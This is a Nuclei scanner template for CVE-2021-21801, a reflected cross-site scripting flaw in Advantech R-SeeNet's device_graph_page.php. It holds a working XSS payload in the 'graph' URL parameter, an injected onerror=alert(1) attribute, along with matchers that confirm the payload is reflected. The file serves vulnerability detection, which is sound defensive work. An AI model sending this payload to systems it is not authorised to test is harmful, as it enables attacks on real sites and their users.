nuclei-templates/cves/2021/CVE-2021-21801.yaml

33 lines
953 B
YAML

id: CVE-2021-21801
info:
name: Advantech R-SeeNet graph parameter - Reflected Cross-Site Scripting (XSS)
author: gy741
severity: medium
description: This vulnerability is present in device_graph_page.php script, which is a part of the Advantech R-SeeNet web applications. A specially crafted URL by an attacker and visited by a victim can lead to arbitrary JavaScript code execution.
reference: https://talosintelligence.com/vulnerability_reports/TALOS-2021-1272
tags: cve,cve2021,r-seenet,xss
requests:
- method: GET
path:
- '{{BaseURL}}/php/device_graph_page.php?graph=%22zlo%20onerror=alert(1)%20%22'
matchers-condition: and
matchers:
- type: word
words:
- '"zlo onerror=alert(1) "'
- 'Device Status Graph'
part: body
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200